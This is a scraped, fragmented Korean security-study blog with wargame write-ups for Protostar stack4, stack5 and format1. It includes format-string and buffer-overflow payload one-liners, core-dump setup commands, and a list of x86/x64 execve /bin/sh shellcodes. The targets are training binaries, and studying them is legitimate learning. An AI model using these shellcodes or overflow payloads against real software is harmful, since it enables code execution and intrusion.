'경로 및 정보' 카테고리의 다른 글
docker 설치 & wsl 재설치 (0) | 2025.01.31 |
---|---|
BloodHound 윈도우 설치 (진행 중) (0) | 2025.01.29 |
User After Free 취약점 관련 (0) | 2025.01.28 |
shell code sample (0) | 2025.01.28 |
Protostar - Stack4 (0) | 2025.01.28 |
docker 설치 & wsl 재설치 (0) | 2025.01.31 |
---|---|
BloodHound 윈도우 설치 (진행 중) (0) | 2025.01.29 |
User After Free 취약점 관련 (0) | 2025.01.28 |
shell code sample (0) | 2025.01.28 |
Protostar - Stack4 (0) | 2025.01.28 |
https://velog.io/@wonder_land/Pwnable-15.-Memory-Corruption-Use-After-Free
https://keyme2003.tistory.com/entry/Use-After-Free-UAF
https://seclab614.tistory.com/3
BloodHound 윈도우 설치 (진행 중) (0) | 2025.01.29 |
---|---|
QEMU로 임베디드 Linux 시스템 에뮬 환경 셋팅 (0) | 2025.01.28 |
shell code sample (0) | 2025.01.28 |
Protostar - Stack4 (0) | 2025.01.28 |
어셈블리어 호출 규칙 (64bit 참고) (0) | 2025.01.27 |
https://blog.naver.com/seongjin0526/221330918874
위 블로그 내 나온데로 바이트 길이 조절이 필요함
환경마다 미세하게 길이 값을 다르게 요청해야 정상적으로 결과 값이 print 되는 것 같음
./format1 `python -c 'print "\x38\x96\x04\x08AAAAAA%130$n"'`
./format1 `python -c 'print "\x38\x96\x04\x08AAAA"+"%8x"*127+"%8n"'`
Format String기능
%d | 정수(10진수 int) |
%c | 문자(char) |
%s | 문자열(NULL을 만날 때 까지 출력) |
%f | 실수(float) |
%lf | 실수(double) |
%p | 주소 출력할때 사용, 메모리 크기만큼 자리수가 채워짐 |
%x | 정수(16진수) |
%u | 부호없는 정수 |
%ld | 부호 있는 long형 int |
%n | 4바이트 공간에 현재까지 출력된 바이트 수 입력(남는공간은 0으로 채워짐) |
%hn | 2바이트 공간에 현재까지 출력된 바이트 수 입력 |
%hhn | 1바이트 공간에 현재까지 출력된 바이트 수 입력 |
protostar format3 (0) | 2025.01.30 |
---|---|
protostar format2 (0) | 2025.01.29 |
protostar stack5 (0) | 2025.01.28 |
protostar stack2 (0) | 2025.01.27 |
Buffer OverFlow 대응방안 (0) | 2022.10.24 |
https://hasol.co/download/firmwares/
https://toubva.github.io/blog/fuzzing/2025-01-27-CVE-2024-28283#/
https://kiffblog.tistory.com/251
참고
https://github.com/pr0v3rbs/FirmAE
https://github.com/ucsb-seclab/karonte
임베디드 바이너리 분석 및 퍼징 등 (진행 중) (0) | 2025.02.02 |
---|---|
QEMU(Quick Amulator) 펌웨어 가상 공유 환경 구축 (0) | 2025.01.30 |
Bluetooth 공격 기법 (0) | 2023.06.30 |
Chapter 7. Device control (0) | 2023.06.25 |
SecOC(Secure On-board. Communication) (1) | 2023.05.16 |
리마인드
다양한 방법을 시도하였으며, 결국 core dump 파일에 있는 0xbffffc40 주소로 ret 값 입력 시 정상적으로 쉘이 떨어진다.
https://jennana.tistory.com/579
core 덤프 확인을 위해 아래와 같이 설정
$ cat /proc/sys/kernel/core_pattern
/tmp/core.%s.%e.%p
# cat /proc/sys/fs/suid_dumpable
0
# echo "1" > /proc/sys/fs/suid_dumpable
# cat /proc/sys/fs/suid_dumpable
1
$ ulimit -c unlimited
최종 삽입코드 : NOP(16) + 쉘코드(24) + NOP(36) + RET(4) = 80
(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36+"\x40\xfc\xff\xbf"';cat) | ./stack5
추가 참고)
https://noobfrompitt.github.io/protostar-stack5/
protostar format2 (0) | 2025.01.29 |
---|---|
protostar format1 (0) | 2025.01.28 |
protostar stack2 (0) | 2025.01.27 |
Buffer OverFlow 대응방안 (0) | 2022.10.24 |
Init 프로세스 (0) | 2022.10.23 |
https://orcinus-orca.tistory.com/5
26-byte shell code(x86)_scanf우회 쉘코드
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
25-byte shell code(x86)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
26-byte shell code(x86)
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
41-byte shell code(x86)
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
48-byte shell code(x86)_\x2f없는 쉘코드
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
23-byte shell code(x64)
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
31-byte shell code(x64)
\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
QEMU로 임베디드 Linux 시스템 에뮬 환경 셋팅 (0) | 2025.01.28 |
---|---|
User After Free 취약점 관련 (0) | 2025.01.28 |
Protostar - Stack4 (0) | 2025.01.28 |
어셈블리어 호출 규칙 (64bit 참고) (0) | 2025.01.27 |
리버싱에서의 레지스터란? (참고) (0) | 2025.01.27 |
https://ii4gsp.tistory.com/50?pidx=0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
0x080483f4가 win() 함수의 시작 주소이다.
리틀 엔디언 방식으로 ret를 덮어주면 된다.
페이로드는 buffer[64byte] + dummy[8byte] + sfp[4byte] + win()함수 시작 주소
(python -c 'print "\x90" * 76 + "\xf4\x83\x04\x08"';cat) | ./stack4
User After Free 취약점 관련 (0) | 2025.01.28 |
---|---|
shell code sample (0) | 2025.01.28 |
어셈블리어 호출 규칙 (64bit 참고) (0) | 2025.01.27 |
리버싱에서의 레지스터란? (참고) (0) | 2025.01.27 |
PLT와 GOT 자세히 알기 1 (0) | 2025.01.26 |